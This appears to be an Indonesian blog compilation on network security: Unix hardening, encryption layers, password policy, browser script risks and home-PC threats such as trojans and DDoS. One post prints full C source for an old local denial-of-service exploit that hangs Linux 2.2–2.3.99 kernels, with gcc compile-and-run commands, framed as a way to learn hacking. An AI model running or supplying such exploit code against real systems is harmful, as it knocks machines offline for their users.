Bagian header yang tidak dienkripsi memberikan keterangan tentang cara mendekripsi dan memroses data yang dienkripsi tersebut. ESP dapat diterapkan pada setiap jenis transport layer (TCP, UDP) yang digunakan. Mekanisme ini lebih banyak diterapkan untuk modus Tunnel. Modus Tunnel adalah sebuah modus pada pengiriman data yang lebih bersifat privat dan khusus melalui jaringan Internet. Intranet adalah salah satu pengguna modus Tunnel tersebut terutama Intranet yang digunakan untuk menghubungkan cabang-cabang yang tersebar di berbagai daerah.

  • Transport Layer

            Dalam konsep TCP/IP, secara umum transport layer dibagi menjadi dua yaitu Transmission Control Protocol (TCP) dan User Datagram Protocol (UDP). Pada lapisan ini, belum begitu banyak mekanisme-mekanisme yang dikembangkan untuk menambahkan aspek sekuriti. TCP sendiri sudah memiliki rutin-rutin yang cukup kompleks dalam mengolah data yang ia terima.

  • Application Layer

            Lapisan ini adalah lapisan yang langsung berhubungan dengan user. Apa yang dilihat oleh user pada layar monitor komputer adalah tampilan dari Application Layer tersebut.

            Teknik-teknik yang digunakan untuk mengenkripsi data pada lapisan aplikasi ini telah banyak berkembang dan mencapai hasil yang cukup memuaskan. Berbagai macam jenis algoritma enkripsi telah dikembangkan dan beberapa di antaranya telah menjadi standar internasional. Beberapa algoritma yang cukup terkenal adalah Data Encryption Standard (DES), Triple-DES, RC2/RC4International Data Encryption Algorithm (IDEA) dan Skipjack. Algoritma DES  dan IDEA telah banyak diterapkan di dunia sedangkan algoritma lainnya telah dipatenkan. Dari algoritma-algoritma di atas, dibuatlah berbagai macam software pengenkripsi. Salah satu yang terkenal dan bersifat shareware adalah Pretty Good Privacy (PGP).

            Penerapan software enkripsi pada Application layer bisa bermacam-macam. Salah satunya, kita bisa mengenkripsi isi dari eletronic mail yang kita buat sebelum kita kirimkan. Selain itu, kita juga bisa mengenkripsi file-file yang akan kita berikan kepada orang lain melalui FTP. Pesan-pesan elektronik pun dapat kita enkripsi terlebih dahulu sebelum kita kirimkan. Setelah sampai di tujuan, penerima dapat mendekripsi pada layer yang sama apa yang ia terima sehingga mencerminkan arti yang sebenarnya.

            Khusus dalam HyperText Transfer Protocol (HTTP), telah dikembangkan berbagai macam mekanisme pengamanan data yang ditransfer melalui protokol ini. Protokol HTTP menjadi tulang punggung dalam World Wide Web (WWW) dan kita lebih sering melihatnya dalam bentuk homepage di situs-situs Internet. Beberapa perusahaan di dunia telah memanfaatkan WWW sebagai salah satu saran penghubung kepada konsumen dan pelanggan mereka. Bahkan WWW telah pula digunakan sebagai penghubung antar bagian perusahaan mereka sendiri dalam teknologi Intranet. Untuk menjamin integritas data yang dikirimkan, para pakar kriptografi telah mengembangkan beberapa mekanisme enkripsi untuk protokol tersebut. Dua dari berbagai mekanisme yang ada di Internet adalah SecureHTTP (SHTTP) dan Secure Socket Layer (SSL). SSL dikembangkan oleh Netscape dan telah diimplementasikan di beberapa situs di Internet. Dengan adanya mekanisme-mekanisme ini, pengiriman nomor rekening, kata kunci rahasia, dan data-data rahasia lainnya bisa dilakukan di Internet dengan lebih aman.

Sekuriti Jaringan Internal

            Sisi selanjutnya adalah keamanan dari jaringan komputer internal. Pada saat kita memutuskan untuk membangun sebuah jaringan komputer yang terhubung ke Internet, saat itu pula kita telah mengambil resiko untuk berhadapan dengan ancaman-ancaman penyusupan dan pengrusakan data dari Internet. Oleh karena itu, kita harus mempersiapkan jaringan komputer kita dengan sebaik mungkin untuk menghadapi serangan-serangan dan ancaman-ancaman tersebut.

            Masalah sekuriti jaringan internal ini meliputi beberapa aspek. Untuk mudahnya, masalah tersebut dapat dipecah menjadi dua bagian yaitu bagian software-hardware dan bagian user.

  • Bagian software-hardware

            Dalam membangun sebuah jaringan komputer, kita memiliki kebebasan dalam merancang, baik dari struktur jaringan maupun konfigurasi hardware dan jenis program yang akan digunakan. Struktur jaringan yang akan direalisasikan dapat dirancang sedemikian rupa sehingga memiliki tingkat sekuriti yang tinggi. Sebagai contoh, kita bisa membuat sebuah jaringan perimeter atau lebih dikenal dengan sebutan DeMilitary Zone (DMZ) yang memberikan layanan dan akses seperlunya saja kepada Internet. Jaringan perimeter ini merupakan jaringan yang langsung berhadapan dengan Internet setelah melalui sebuah router atau gateway.

Dari segi hardware, kita dapat menentukan spesifikasi hardware yang tepat sesuai kebutuhan dan tugas yang akan diberikan kepada hardware tersebut. Sebagai contoh, untuk menjadi sebuah mail server yang menangani 100 buah mailing list atau lebih, tentunya kebutuhan akan jumlah memory/RAM dan swap memory yang disediakan menjadi melonjak. Selain itu, bila terdapat usaha-usaha pengrusakan pada mail server tersebut dengan berbagai cara seperti mail bombing, setidak-tidaknya mail server kita masih bisa bertahan.

Pada bagian software, kita bisa menggunakan sistem operasi dan software-software yang telah dikenal kehandalannya. Hal ini bertujuan supaya sistem operasi maupun software yang kita gunakan mampu menahan gempuran atau serangan dari Internet dan tidak sampai merusak hardware. Selain itu, sebaiknya kita selalu menggunakan software-software keluaran terbaru. Untuk itu, kita harus lebih sering memantau perkembangan software yang kita gunakan tersebut.

Setelah kita memilih sistem operasi dan software yang akan digunakan, kita harus mengkonfigurasi sistem operasi dan software tersebut agar tidak memiliki hole-hole yang bisa dieksplorasi oleh para penyusup dari Internet. Apabila kita tidak waspada, hole-hole yang sudah umum pun bisa muncul pada sistem jaringan komputer kita. Berikut ini terdapat beberapa titik penting pada sistem operasi berbasis Unix yang perlu mendapat perhatian.

  • Perintah-perintah berawalan huruf  “r”

            Perintah-perintah berawalan huruf “r” (rlogin, rsh, rwho, dlsb) perlu ditinjau ulang dari segi kebutuhan. Apabila kita tidak memerlukan fungsi-fungsi perintah di atas maka kita matikan perintah-perintah tersebut. Jika kita memerlukannya, kita harus lebih hati-hati dalam mengkonfigurasi file-file yang berhubungan dengan setting perintah-perintah tersebut. Untuk perintah-perintah tersebut, file konfigurasi yang penting adalah /etc/hosts.equiv.

  • File-file dengan suid

            File dengan konfigurasi suid adalah file (umumnya berupa program) yang apabila dieksekusi akan memiliki hak setingkat dengan pemilik (owner) dari file tersebut. Sebagai contoh, perintah “chpass” termasuk jenis file suid. Perintah “chpass” ini berguna untuk merubah data-data tentang user seperti: nama lengkap, alamat kantor, alamat rumah, dlsb. Pada dasarnya, perintah “chpass” ini melakukan perubahan pada file yang berisi  user password  dari komputer tersebut. Oleh karena itu, perintah tersebut memerlukan konfigurasi suid root karena file yang berisi user password hanya bisa diubah oleh root   sendiri atau memiliki hak akses setara dengan root. File-file dengan suid root harus dibatasi jumlahnya sesuai kebutuhan. Bila tidak, para penyusup bisa memanfaatkan kelemahan ini untuk memperoleh hak akses setara root pula. Seringkali para penyusup menyiapkan backdoor melalui file-file suid tersebut sehingga saat penyusup ingin kembali masuk ke dalam sistem, ia bisa menggunakan backdoor tersebut. Salah satu langkah penanggulangannya adalah dengan membuat daftar file suid di saat setelah konfigurasi sistem operasi selesai dan melakukan pemeriksaan secara rutin yang kemudian dibandingkan dengan daftar file pertama.

  • File & directory permission

            Pada saat mengkonfigurasi sistem operasi, file permission dan directory permission sebaiknya ikut dikonfigurasi lebih lanjut selain konfigurasi awal yang telah disediakan dari pencipta sistem operasi tersebut. Batasi user hanya untuk bisa memiliki akses penuh pada home directory user tersebut.

  • Network File System (NFS)

            NFS memungkinkan kita membuat file system yang berada di komputer lain seolah-olah berada di komputer kita. Tetapi, apabila kita kurang hati-hati dalam mengkonfigurasi-nya, hal ini menjadi makanan empuk bagi para pengrusak. Kita harus memilih direktori mana saja yang perlu dibuat menjadi terbuka terhadap komputer lain. Hak akses juga harus menjadi perhatian sehingga kita dapat menempatkan file-file pada porsi yang sebenarnya. Perbaikan-perbaikan (patches) untuk NFS juga telah tersedia di Internet karena NFS memiliki beberapa titik kelemahan.

  • majordomo

            Majordomo adalah salah satu software yang menangani mailing list dan sudah tersebar sangat luas. Gunakan selalu majordomo versi di atas 1.91 karena versi di bawah 1.91 memiliki bugs yang cukup berbahaya.

  • Fingerd

            Utilitas ini sudah cukup terkenal sebagai salah satu alat utama dalam Internet worm yang sempat melumpuhkan jaringan Internet di tahun 1988. Hingga saat ini, utilitas finger masih sering digunakan sebagai langkah awal memantau sistem yang akan disusupi. Meskipun perbaikan-perbaikan terhadap bug yang ada di fingerd telah dilakukan, sebaiknya layanan ini ditutup untuk akses dari luar sehingga perintah finger hanya bisa dilakukan sebatas sistem atau komputer itu saja.

  • File /etc/inetd.conf

            File /etc/inetd.conf ini berisi konfigurasi service-service yang dijalankan oleh inetd. Sebaiknya file ini diatur pada mode 600 dan dimiliki oleh root. Selain itu, sebaiknya kita menutup layanan-layanan networking yang tidak kita perlukan. Konfigurasi awal dari instalasi sistem operasi seringkali membuka layanan-layanan networking yang tidak kita butuhkan.

  • Anonymous FTP

            Anonymous FTP disediakan bagi user umum untuk mendapatkan file-file yang kita publikasikan. Hal yang perlu diperhatikan dari sudut pandang sekuriti adalah konfigurasi hak akses yang diberikan pada direktori-direktori yang kita publikasikan. Selain itu, selalu gunakan versi terbaru untuk FTP daemon yang kita gunakan. Versi FTP daemon yang sudah lama memiliki perintah-perintah jarak jauh untuk meletakkan file ataupun membaca file yang berada di direktori selain direktori FTP tersebut.

  • SMTP Server

            SMTP server adalah server yang bertugas mengatur penghantaran electronic mail dari pengirim ke penerima. SMTP server yang sering digunakan adalah sendmail. Sendmail ini telah terkenal kehandalannya tetapi juga memiliki bugs yang bisa digunakan untuk mendapatkan hak akses setara root. Untuk meminimalkan resiko ini, selalu gunakan versi terbaru dari sendmail. Kita juga bisa menaikkan tingkat proses logging hingga tingkat/level 9. Pada tingkat tersebut, sendmail logger akan mendeteksi usaha-usaha eksploitasi terhadap kelemahan sendmail.

  • HTTP Server / Web Server

            Baru-baru ini, Web server merupakan salah satu titik eksploitasi yang paling terkenal. Dengan mengeksploitasi bugs yang ada di web server ini, para penyusup bisa mendapatkan hak akses setara root. Hal ini mengakibatkan data-data homepage yang ada di web server itu diacak-acak dan diganti sesuka hati penyusupnya. Untuk mencegah terjadinya hal ini, beberapa langkah pencegahan perlu diambil. Beberapa di antaranya yang cukup dominan:

  • Gunakan selalu HTTP daemon yang terbaru dan telah diketahui hingga saat ini belum memiliki bugs. Contoh: NCSA httpd versi 1.5.
  • Hilangkan script-script yang tidak perlu yang memerlukan akses ke file system. Umumnya, script-script tersebut disebut dengan Common Gateway Interface (CGI) script.
  • Lakukan konfigurasi sebaik-baiknya terhadap CGI script yang kita perlukan sebagai penghubung antara user dengan server.
  • Gunakan tapis (filter) untuk mendeteksi masukan-masukan yang diberikan oleh user terutama terhadap karakter-karakter yang berpotensi untuk merusak seperti: \n \r ( . , / ; ~ ! ) > | ^ & $ ` < %.

            Selain dari itu, kita bisa menggunakan software firewall untuk membatasi akses dan melakukan pemantauan terhadap aliran transfer data. Software firewall ada yang bersifat shareware dan komersial. Cara instalasi, penggunaan, dan konfigurasinya tidak dibahas pada tulisan ini karena topik tersebut cukup luas

            Dalam suatu sistem yang terproteksi cukup ketat, seringkali kita tidak bisa mengakses komputer kita dari jarak jauh. Untuk memenuhi kebutuhan tersebut tanpa harus mengorbankan tingkat sekuriti sistem, kita bisa menempuh dua cara. Cara pertama adalah merubah program yang bertugas menerima akses langsung dari luar sehingga kita bisa memonitor, mencatat maupun membatasi akses yang diberikan. Contoh program yang menerima akses langsung dari Internet adalah telnetd. Cara kedua adalah dengan menyiapkan hardware khusus yang bertindak sebagai perantara antara user dengan komputer.  Fungsi dari hardware khusus ini tidak berbeda jauh dengan software yang diubah pada cara pertama.

  • Bagian User

            Jika sisi software telah dikonfigurasi dengan baik, sisi user yang perlu mendapat perhatian. Seringkali, user pada suatu sistem memilih kata password yang mudah ditebak. Penulis pernah mencoba beberapa password account yang isinya mudah ditebak, antara lain: “Komputer”, “Memori”,  kombinasi nama user, nama perusahaan penghasil meja komputer, merek monitor/keyboard/casing komputer, dlsb. Untuk itu, sebagai system administrator, kita perlu memberikan arahan dan anjuran kepada user untuk tidak menggunakan kata-kata yang mudah ditebak sebagai password. Selain itu, jangan menuliskan password pada kertas atau benda apa pun. Walaupun dalam film “War Games” (sebuah film yang cukup terkenal di kalangan hacker di Amerika) telah ditunjukkan akibat penulisan password tetapi masih saja terdapat user yang menuliskan password-nya. Tentunya sudah cukup banyak tips untuk membuat password yang baik. Jika dipandang perlu, konfigurasi password user bisa diatur agar user diharuskan memperbaharui password-nya secara periodik. Cara lain yang bisa dilakukan adalah menjalankan program yang berfungsi memecahkan kode password pada file password yang Anda miliki. Program semacam ini cukup banyak di Internet dan tersedia untuk berbagai platform sistem operasi. Pada sistem operasi Unix, program yang cukup terkenal adalah Crack. Dengan menggunakan program ini, kita dapat mengetahui apakah user telah memilih password dengan baik.

Langkah lain yang bisa kita lakukan adalah mencari dan mendapatkan software-software khusus yang berhubungan dengan masalah sekuriti. Contohnya antara lain: COPS (software penganalisa kelemahan dalam password dan konfigurasi file), SATAN (software penganalisa jarak jauh terhadap usaha-usaha penyusupan dari luar), TCP-Wrapper (software yang bertugas mencatat beberapa aktivitas transfer data),  Tripwire (mirip dengan TCP-Wrapper), dlsb. Dengan adanya software ini, kita bisa mengetahui hingga seberapa tinggi tingkat sekuriti sistem jaringan komputer kita.

Penanggulangan

            Jika  terjadi usaha-usaha penyusupan ke dalam sistem jaringan komputer, kita harus secepat mungkin menutup akses dari mana usaha-usaha penyusupan tersebut. Beberapa ciri-ciri dasar dari usaha-usaha penyusupan adalah usaha login yang gagal terus-menerus, sumber daya komputer yang terserap habis akibat satu atau lebih layanan networking, munculnya file-file aneh yang asal-usulnya tidak diketahui, jebolnya password dari beberapa user, dlsb. Bila penyusup telah berhasil memasuki sistem komputer kita dan bisa memperoleh hak akses setara root, bisa dipastikan sistem komputer kita sudah tidak aman. Mengapa? Karena pada umumnya penyusup telah membuat backdoor yang cukup aman dan tersembunyi kecuali kita mengetahui setiap titik dari backdoor yang dibuat oleh penyusup tersebut dan kita bisa memusnahkannya. Bila kita tidak bisa menemukan backdoor tersebut, jalan teraman adalah instalasi ulang sistem operasi yang ada di komputer tersebut L.

            Sebagai system administrator yang baik, kita seharusnya selalu membaca log file yang banyak dihasilkan oleh program-program yang dieksekusi di komputer kita. Dengan membaca log file ini, kejadian-kejadian yang tidak diinginkan dapat dideteksi lebih dini.

            Akhir kata, “tiada gading yang tak retak”. Kita harus selalu waspada dengan kesalahan-kesalahan yang mungkin kita perbuat baik dengan sengaja maupun tidak yang baik secara langsung ataupun tidak langsung dapat mengancam sekuriti sistem jaringan komputer kita. Kita juga harus selalu meningkatkan tingkat keterampilan dan keahlian kita karena usaha-usaha eksplorasi yang dilakukan oleh para hacker, cracker, dan phreaker selalu lebih maju.

Daftar Sumber-sumber Dokumen dan Situs-situs di Internet yang berkaitan dengan masalah sekuriti di Internet

Dokumen:

  • Computer Security Basics, Deborah Russell & G.T. Gangemi Sr., © 1991 O’Reilly & Associates, Inc.
  • Pratical Unix Security, Simon Garfinkel & Gene Spafford, © 1991 O’Reilly & Associates, Inc.
  • Unix System Security: A Guide for Users and System Administrators, David A. Curry, © 1992 Addison-Wesley Professional Computing Series
  • Firewalls and Internet Security, William R. Cheswick & Steven M. Bellovin, © 1994 AT&T Bell Laboratories, Addison-Wesley Publishing Company
  • Building Internet Firewalls, Brent Chapman and Elizabeth Zwicky, © 1995 O’Reilly & Associates, Inc.
  • Pretty Good Privacy, Simon Garfinkel, © 1995 O’Reilly & Associates, Inc.
  • Dokumen berikut dapat diperoleh melalui ftp.ds.internic.net di direktori /rfc/:
    • RFC 931, Authentication Server, Michael St. Johns.
    • RFC 1244, Site Security Handbook, J. Paul Holbrook & Joyce K. Reynolds.
    • RFC 1281, Guidelines for the Secure Operation of the Internet, Richard D. Pethia & Stephen D. Crocker.
    • RFC 1508, Generic Security Service Application Program Interface, John Linn.
    • RFC 1750, Randomness Recommendations for Security, Donald E. Eastlake 3rd & Stephen D. Crocker.
    • RFC 1825, Security Architecture for the Internet Protocol, Randall Atkinson.
    • RFC 1826, IP Authentication Header, Randall Atkinson.
    • RFC 1827, IP Encapsulating Security Payload (ESP), Randall Atkinson.
    • RFC 2015, MIME Security with Pretty Good Privacy (PGP), Michael Elkins.
  • Beberapa dokumen yang terletak di ftp.cs.purdue.edu pada direktori /pub/spaf/ssecurity/ yang dapat diambil melalui anonymous ftp.
  • Orange Book & Red Book, part of The Rainbow Books, DoD Computer Security Center. Kedua dokumen tersebut terdapat di ftp.cert.org pada direktori /pub/info/orange-book.Z dan /pub/info/red-book.Z.

 

Software:

Crack, ftp://ftp.auscert.org.au/pub/cert/tools/crack/*

COPS, ftp://ftp.auscert.org.au/pub/cert/tools/cops/1.04

PGP, ftp://ftp.ifi.uio.no/pub/pgp/

SATAN, ftp://ftp.win.tue.nl/pub/security/satan*

Tiger, ftp://net.tamu.edu/pub/security/TAMU/tiger-2.2.3.tar.gz

TCP-Wrapper, ftp://ftp.win.tue.nl/pub/security/tcp_wrappers_7.6.tar.gz

Tripwire, ftp://ftp.auscert.org.au/pub/coast/COAST/Tripwire/*

Meng-compile Eksploit Dalam Bahasa C

•23 Desember 2011 • Tinggalkan sebuah Komentar

Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.

Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:

            /usr/src/linux

Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.

Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.

/*            [http://b0f.morphed.net] – eth0                */

/*                                                       */

/* Vulnerable

  Linux 2.2.12

  Linux 2.2.13

  Linux 2.2.14

  Linux 2.3.99-pre2

  The following exploit code will hang any Linux machine on various

  Pentium platforms.

  Note that this does not require any special privileges, and any user

  Can compile and run it, so watch out kiddies…

  The send system call immediately puts the kernel in a loop spewing

  kmalloc: Size (131076) too large forever

  (or until you hit the reset button).

  Apparently UNIX domain sockets are ignoring the

  /proc/sys/net/core/wmem_max parameter,

  despite the documentation to the contrary.

 

 [information provided by Jay Fenlason]

 [http://b0f.morphed.net]

 [buffer0verfl0w security]

*/

#include <sys/types.h>

#include <sys/socket.h>

#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )

{

struct sockaddr SyslogAddr;

int LogFile;

int bufsize = sizeof(buf)-5;

int i;

for ( i = 0; i < bufsize; i++ )

buf[i] = ‘ ‘+(i%95);

buf[i] = ”;

SyslogAddr.sa_family = AF_UNIX;

strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)

);

LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );

sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)

);

return 0;

}

Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.

Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.

Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:

            $ gcc eksploit.c –o eksploit

maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:

            $ ./eksploit

Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.

Mengatasi Web Script Jahat di Internet

•23 Desember 2011 • Tinggalkan sebuah Komentar

Jika anda sering melakukan browsing di Internet, sering kali kita memperoleh kiriman script dari situs web yang kita masuki. Script Web ini biasanya baik-baik saja, akan tetapi tidak mustahil akan ada kiriman script jahat tanpa kita sadari yang akan mengirimkan data yang buruk, gambar yang tidak di inginkan, program (script jahat) yang akan meng-compromise (menduduki / menguasai) data anda.

Tulisan ini merupakan saduran bebas tulisan sejenis di Computer Emergency Responds  Team (http://www.cert.org) yang membahas masalah script Web jahat. Masalah ini timbul bukan karena Web browser yang kita gunakan, akan tetapi lebih di sebabkan karena bagaimana situs Web di bentuk, dan bagaimana proses validasi data masuk & keluar situs Web yang harusnya menjamin tidak ada script yang tidak baik ini untuk masuk ke web browser klien.

Bagaimana cara web script masuk ke web browser kita? Seorang Web developer yang jahat akan mengirimkan script ke web browser kita pada saat kita memasukan data seperti URL, elemen pada formulir, atau permintaan database. Script  jahat akan dikirimkan bersama responds situs Web sesuai permintaan yang diminta; akhirnya script jahat akan mendekam di web browser anda.

Konsekuensi terbukanya web browser ke script jahat, antara lain adalah:

  • Mengikuti link yang tidak bisa di percaya di halaman Web, berita e-mail, atau posting di newsgroups.
  • Menggunakan formulir interaktif pada situs yang tidak bisa dipercaya.
  • Memperhatikan halaman Web yang isinya ditimbulkan secara dinamis oleh orang lain.
  • Anda akan terhubung (link) ke situs yang tampaknya aman, dan mengisi form di situs tersebut yang sebetulnya tidak bisa dipercaya, atau mencari database di situ.

Apa yang akan terjadi dengan terbukanya Web browser ke script jahat? Ada beberapa hal  yang mungkin terjadi seperti kehilangan password anda, juga tercuri-nya informasi yang mungkin di anggap aman. Script jahat ini bukan mustahil dapat mengeksplorasi kondisi jaringan lokal di organisasi anda (intranet anda) terutama bagi penyerang yang ada di Internet.

Bagaimana cara kita menghindari masalah ini? Cara paling sederhana untuk mengatasi serangan dari script jahat yang masuk dari situs Web adalah dengan cara mematikan semua fasilitas bahasa scripting. Perlu dicatat bahwa dengan matikan fasilitas bahasa scripting belum 100% mematikan serangan, terutama jika programmer tersebut masuk melalui fasilitas HTML untuk membuat <FORM>. Sialnya dengan mematikan semua fasilitas ini akan mematikan banyak fungsi Web browser, akhirnya kita harus memilih kapan kita mematikan & kapan menyalakan fasilitas ini untuk memperoleh fungsi yang lebih baik pada saat melakukan browsing.

Cara mengamankan Web browser yang menggunakan Internet Explorer 5 adalah sebagai berikut:

  • Start Internet Explorer seperti saat anda akan melakukan browsing
  • Dari menu Tools pilih Internet Options… . Akan keluar box dialog Internet Options.
  • Pilih Security tab. Akan keluar panel Security Options.
  • Klik pada Internet zone untuk memilih itu.
  • Klik tombol Custom Level. Akan keluar panel Security Settings.
  • Pilih High option dari daftar pull-down.
  • Klik tombol Reset. Sebuah box dialog akan keluar menanyakan apakah anda yakin akan mengubah setting security dari zone tersebut.
  • Klik Yes. Selanjutnya anda perlu melakukan beberapa perubahan setting dan melakukan perubahan sesuai langkah yang di bawah ini.
  • Untuk setting Scripting ActiveX controls yang bertanda safe for Scripting, cek tombol radio untuk men-disable atau keluarkan prompt tergantung level kepercayaan anda.
  • Jika anda memutuskan untuk men-disable Java, untuk setting ijin Java, cek tombol radio untuk men-disable Java. Jika anda tidak mempunyai seting ijin Java, artinya Java telah di disable.
  • Untuk setting Active scripting dibawah bagian Scripting, cek tombol radio untuk men-disable.
  • Klik OK untuk menerima perubahan. Sebuah box dialog keluar menanyakan apakah anda yakin akan perubahan yang dilakukan.
  • Klik Yes.
  • Di dialog box pilihan Internet Options,  klik tab Advanced. Akan keluar pilihan panel Advanced.
  • Perhatian / yakinkan bahwa setting pemberitahuan kalau terjadi perubahan antara situs yang aman dan tidak aman di cek.
  • Klik Apply untuk menyimpan perubahan yang dilakukan.
  • Klik OK untuk menutup dialog box Internet Options.

Dengan logika yang hampir sama anda dapat melakukannya untuk Web browser lainnya termasuk Netscape Communicator.

Mengamankan Komputer Rumah / WARNET di Internet

•23 Desember 2011 • Tinggalkan sebuah Komentar

Pada saat komputer kita di rumah / WARNET terkait ke internet, maka akan ada tiga (3) hal yang perlu diperhatikan, yaitu:

  • Confidentiality – informasi hanya tersedia bagi orang yang mempunyai hak untuk mengakses informasi yang di maksud.
  • Integrity – informasi hanya dapat di ubah oleh orang yang mempunyai hak (autorisasi) untuk melakukan hal tersebut.
  • Availability – informasi harus bisa di akses pada saat informasi tersebut dibutuhkan oleh yang berhak.

Ke tiga hal ini berlaku untuk kita sebagai pengguna biasa, maupun untuk kantoran atau jaringan di pemerintahan. Tidak ada seorangpun yang suka jika ada orang tak dikenal melihat-lihat dokumen penting yang kita miliki. Kita juga pasti menginginkan semua hal yang dilakukan mengunakan komputer dapat dilakukan secara rahasia, apakah itu mencek saham di BEJ atau mengirimkan e-mail ke keluarga & teman. Juga, kita biasanya menginginkan bahwa pada saat kita masuk ke komputer informasi yang kita butuhkan tetap ada pada saat kita butuhkan.

Beberapa resiko keamanan memang timbul karena adanya intruder yang masuk dari Internet. Di samping itu,  masih ada resiko keamanan yang terjadi tanpa adanya akses ke Internet, seperti kerusakan harddisk, pencuri, mati lampu. Sialnya, memang sulit sekali untuk mempersiapkan diri untuk semua jenis resiko yang ada. Untungnya, masih ada beberapa langkah sederhana yang dapat kita ambil untuk mempersiapkan diri terhadap berbagai sekarang yang ada.

Ada beberapa metoda yang umumnya digunakan oleh intruder untuk mengambil alih kontrol komputer kita di rumah, beberapa diantaranya adalah:

  • Trojan horse programs
  • Back door & remote administration programs
  • Denial of Service
  • Menjadi perantara untuk serangan yang lain.
  • Windows shares yang tidak terproteksi.
  • Mobile code (Java, JavaScript, and ActiveX)
  • Cross-site scripting
  • E-mail spoofing
  • E-mail-borne viruses
  • Hidden file extensions
  • Chat clients
  • Packet sniffing

Trojan horse program – adalah cara paling umum yang digunakan oleh intruder untuk menipu kita (sering kali di sebut sebagai “sociel engineering”); dengan Trojan horse program mereka menginstall program “back door” yang memudahkan mereka mengakses komputer kita tanpa sepengetahuan kita. Trojan horse program akan mengubah konfigurasi komputer kita dan menginfeksinya dengan virus komputer.

Back door & remote administration program – pada komputer Windows, ada tiga (3) software yang serung digunakan, yaitu: BackOrifice, Netbus, & SubSeven. Ketiga back door / remote administration program, setelah di instal, akan membuka kemungkinan orang lain untuk mengakses & mengontrol komputer kita.

Denial of Service (DoS) – adalah jenis serangan yang menyebabkan komputer kita crash atau sibuk memproses data yang menyebabkan kita tidak dapat menggunakan untuk kepentingan kita sendiri. Biasanya jika kita menggunakan software yang terbaru, software tersebut sudah siap untuk melawan DoS. Perlu dicatat bahwa pada serangan DoS, komputer kita bisa saja di set menjadi salah satu penyebab DoS tersebut.

Menjadi perantara untuk serangan yang lain – intruder sangat sering menggunakan komputer yang di compromised (di kuasai) untuk tempat menyerang sistem lain. Contoh sederhana adalah bagaimana teknik serangan Distributed Denial of Service (DDoS) dilakukan. Pada serangan DDoS, intruder akan menginstall “agen” (biasanya berupa program Trojan Horse) di komputer yang di compromised menunggu instruksi lebih lanjut. Setelah cukup banyak komputer yang disiapkan, dengan sebuah perintah proses serangan DDoS akan dilakukan ke sebuah sistem. Artinya, komputer yang kita miliki menjadi alat yang sangat effisien untuk serangan lain.

Unprotected Windows shares – dapat di eksplotasi oleh intruder untuk menempatkan software-nya di komputer Windows dalam jumlah besar sekaligus yang terkait ke Internet. Karena keamanan di Internet sebetulnya saling terkait, maka sebuah komputer yang dikuasai interuder bukan hanya memberikan masalah bagi pemilik komputer itu, tapi juga untuk banyak komputer lain di Internet. Resiko ini sangat tinggi, apalagi cukup banyak komputer dengan jaringan Windows yang tidak terproteksi yang terkait di Internet. Distributed attack tools, virus, worms seperti 911 worm merupakan beberapa contoh serangan melalui Windows share yang terbuka.

Mobile code (Java/JavaScript/ActiveX) – dengan bahasa pemrograman Java, JavaScript, & ActiveX memungkinkan Web developer untuk mengembangkan software yang akan dijalan oleh Web browser anda. Biasanya program tersebut baik-baik saja, tapi kadang-kadang dapat digunakan oleh intruder untuk maksud yang tidak baik. Oleh karena itu, ada baik-nya men-disable Web browser anda untuk tidak menjalankan script. Selain di Web browser, program e-mail klien juga sebaiknya di disable agar tidak menjalankan script.

Cross-site scripting -  Seorang Web developer yang jahat akan mengirimkan script ke web browser kita pada saat kita memasukan data seperti URL, elemen pada formulir, atau permintaan database. Script  jahat akan dikirimkan bersama responds situs Web sesuai permintaan yang diminta; akhirnya script jahat akan mendekam di web browser anda.

Konsekuensi terbukanya web browser ke script jahat, antara lain adalah:

  • Mengikuti link yang tidak bisa di percaya di halaman Web, berita e-mail, atau posting di newsgroups.
  • Menggunakan formulir interaktif pada situs yang tidak bisa dipercaya.
  • Memperhatikan halaman Web yang isinya ditimbulkan secara dinamis oleh orang lain.
  • Anda akan terhubung (link) ke situs yang tampaknya aman, dan mengisi form di situs tersebut yang sebetulnya tidak bisa dipercaya, atau mencari database di situ.

E-mail spoofing – terjadi pada saat sebuah berita e-mail tampaknya seperti datang dari seseorang, akan tetapi sebenarnya datang dari orang lain. E-mail spoofing ini seringkali digunakan untuk menipu seseorang yang akhirnya menyebabkan pengeluaran komentar yang tidak baik atau melepaskan informasi yang sensitif seperti password. Perlu dicatat bahwa tidak ada adminitrator di ISP yang akan meminta password anda, pada kondisi apapun.

